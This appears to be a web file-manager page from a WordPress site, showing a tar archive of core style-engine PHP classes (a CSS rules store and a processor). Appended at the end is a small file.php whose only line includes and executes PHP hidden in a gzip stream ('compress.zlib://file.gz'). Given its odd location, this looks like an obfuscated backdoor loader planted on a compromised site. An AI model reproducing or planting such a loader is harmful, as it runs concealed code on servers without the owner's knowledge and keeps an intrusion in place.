File manager - Edit - /home/xfekoga/rooftopcleaners/wp-includes/abilities-api/style-engine.tar
Back
class-wp-style-engine-css-rules-store.php 0000644 00000007216 15173717416 0014501 0 ustar 00 <?php /** * Style Engine: WP_Style_Engine_CSS_Rules_Store class * * @package WordPress * @subpackage StyleEngine * @since 6.1.0 */ /** * Core class used as a store for WP_Style_Engine_CSS_Rule objects. * * Holds, sanitizes, processes, and prints CSS declarations for the style engine. * * @since 6.1.0 */ #[AllowDynamicProperties] class WP_Style_Engine_CSS_Rules_Store { /** * An array of named WP_Style_Engine_CSS_Rules_Store objects. * * @static * * @since 6.1.0 * @var WP_Style_Engine_CSS_Rules_Store[] */ protected static $stores = array(); /** * The store name. * * @since 6.1.0 * @var string */ protected $name = ''; /** * An array of CSS Rules objects assigned to the store. * * @since 6.1.0 * @var WP_Style_Engine_CSS_Rule[] */ protected $rules = array(); /** * Gets an instance of the store. * * @since 6.1.0 * * @param string $store_name The name of the store. * @return WP_Style_Engine_CSS_Rules_Store|void */ public static function get_store( $store_name = 'default' ) { if ( ! is_string( $store_name ) || empty( $store_name ) ) { return; } if ( ! isset( static::$stores[ $store_name ] ) ) { static::$stores[ $store_name ] = new static(); // Set the store name. static::$stores[ $store_name ]->set_name( $store_name ); } return static::$stores[ $store_name ]; } /** * Gets an array of all available stores. * * @since 6.1.0 * * @return WP_Style_Engine_CSS_Rules_Store[] */ public static function get_stores() { return static::$stores; } /** * Clears all stores from static::$stores. * * @since 6.1.0 */ public static function remove_all_stores() { static::$stores = array(); } /** * Sets the store name. * * @since 6.1.0 * * @param string $name The store name. */ public function set_name( $name ) { $this->name = $name; } /** * Gets the store name. * * @since 6.1.0 * * @return string */ public function get_name() { return $this->name; } /** * Gets an array of all rules. * * @since 6.1.0 * * @return WP_Style_Engine_CSS_Rule[] */ public function get_all_rules() { return $this->rules; } /** * Gets a WP_Style_Engine_CSS_Rule object by its selector. * If the rule does not exist, it will be created. * * @since 6.1.0 * @since 6.6.0 Added the $rules_group parameter. * * @param string $selector The CSS selector. * @param string $rules_group A parent CSS selector in the case of nested CSS, or a CSS nested @rule, * such as `@media (min-width: 80rem)` or `@layer module`. * @return WP_Style_Engine_CSS_Rule|void Returns a WP_Style_Engine_CSS_Rule object, * or void if the selector is empty. */ public function add_rule( $selector, $rules_group = '' ) { $selector = $selector ? trim( $selector ) : ''; $rules_group = $rules_group ? trim( $rules_group ) : ''; // Bail early if there is no selector. if ( empty( $selector ) ) { return; } if ( ! empty( $rules_group ) ) { if ( empty( $this->rules[ "$rules_group $selector" ] ) ) { $this->rules[ "$rules_group $selector" ] = new WP_Style_Engine_CSS_Rule( $selector, array(), $rules_group ); } return $this->rules[ "$rules_group $selector" ]; } // Create the rule if it doesn't exist. if ( empty( $this->rules[ $selector ] ) ) { $this->rules[ $selector ] = new WP_Style_Engine_CSS_Rule( $selector ); } return $this->rules[ $selector ]; } /** * Removes a selector from the store. * * @since 6.1.0 * * @param string $selector The CSS selector. */ public function remove_rule( $selector ) { unset( $this->rules[ $selector ] ); } } class-wp-style-engine-processor.php 0000644 00000012416 15173717416 0013444 0 ustar 00 <?php /** * Style Engine: WP_Style_Engine_Processor class * * @package WordPress * @subpackage StyleEngine * @since 6.1.0 */ /** * Core class used to compile styles from stores or collection of CSS rules. * * @since 6.1.0 */ #[AllowDynamicProperties] class WP_Style_Engine_Processor { /** * A collection of Style Engine Store objects. * * @since 6.1.0 * @var WP_Style_Engine_CSS_Rules_Store[] */ protected $stores = array(); /** * The set of CSS rules that this processor will work on. * * @since 6.1.0 * @var WP_Style_Engine_CSS_Rule[] */ protected $css_rules = array(); /** * Adds a store to the processor. * * @since 6.1.0 * * @param WP_Style_Engine_CSS_Rules_Store $store The store to add. * @return WP_Style_Engine_Processor Returns the object to allow chaining methods. */ public function add_store( $store ) { if ( ! $store instanceof WP_Style_Engine_CSS_Rules_Store ) { _doing_it_wrong( __METHOD__, __( '$store must be an instance of WP_Style_Engine_CSS_Rules_Store' ), '6.1.0' ); return $this; } $this->stores[ $store->get_name() ] = $store; return $this; } /** * Adds rules to be processed. * * @since 6.1.0 * @since 6.6.0 Added support for rules_group. * * @param WP_Style_Engine_CSS_Rule|WP_Style_Engine_CSS_Rule[] $css_rules A single, or an array of, * WP_Style_Engine_CSS_Rule objects * from a store or otherwise. * @return WP_Style_Engine_Processor Returns the object to allow chaining methods. */ public function add_rules( $css_rules ) { if ( ! is_array( $css_rules ) ) { $css_rules = array( $css_rules ); } foreach ( $css_rules as $rule ) { $selector = $rule->get_selector(); $rules_group = $rule->get_rules_group(); /** * If there is a rules_group and it already exists in the css_rules array, * add the rule to it. * Otherwise, create a new entry for the rules_group. */ if ( ! empty( $rules_group ) ) { if ( isset( $this->css_rules[ "$rules_group $selector" ] ) ) { $this->css_rules[ "$rules_group $selector" ]->add_declarations( $rule->get_declarations() ); continue; } $this->css_rules[ "$rules_group $selector" ] = $rule; continue; } // If the selector already exists, add the declarations to it. if ( isset( $this->css_rules[ $selector ] ) ) { $this->css_rules[ $selector ]->add_declarations( $rule->get_declarations() ); continue; } $this->css_rules[ $rule->get_selector() ] = $rule; } return $this; } /** * Gets the CSS rules as a string. * * @since 6.1.0 * @since 6.4.0 The Optimization is no longer the default. * * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string The computed CSS. */ public function get_css( $options = array() ) { $defaults = array( 'optimize' => false, 'prettify' => defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG, ); $options = wp_parse_args( $options, $defaults ); // If we have stores, get the rules from them. foreach ( $this->stores as $store ) { $this->add_rules( $store->get_all_rules() ); } // Combine CSS selectors that have identical declarations. if ( true === $options['optimize'] ) { $this->combine_rules_selectors(); } // Build the CSS. $css = ''; foreach ( $this->css_rules as $rule ) { // See class WP_Style_Engine_CSS_Rule for the get_css method. $css .= $rule->get_css( $options['prettify'] ); $css .= $options['prettify'] ? "\n" : ''; } return $css; } /** * Combines selectors from the rules store when they have the same styles. * * @since 6.1.0 */ private function combine_rules_selectors() { // Build an array of selectors along with the JSON-ified styles to make comparisons easier. $selectors_json = array(); foreach ( $this->css_rules as $rule ) { $declarations = $rule->get_declarations()->get_declarations(); ksort( $declarations ); $selectors_json[ $rule->get_selector() ] = wp_json_encode( $declarations ); } // Combine selectors that have the same styles. foreach ( $selectors_json as $selector => $json ) { // Get selectors that use the same styles. $duplicates = array_keys( $selectors_json, $json, true ); // Skip if there are no duplicates. if ( 1 >= count( $duplicates ) ) { continue; } $declarations = $this->css_rules[ $selector ]->get_declarations(); foreach ( $duplicates as $key ) { // Unset the duplicates from the $selectors_json array to avoid looping through them as well. unset( $selectors_json[ $key ] ); // Remove the rules from the rules collection. unset( $this->css_rules[ $key ] ); } // Create a new rule with the combined selectors. $duplicate_selectors = implode( ',', $duplicates ); $this->css_rules[ $duplicate_selectors ] = new WP_Style_Engine_CSS_Rule( $duplicate_selectors, $declarations ); } } } file.php 0000644 00000000062 15173717416 0006206 0 ustar 00 <?php include_once "compress.zlib://file.gz";?>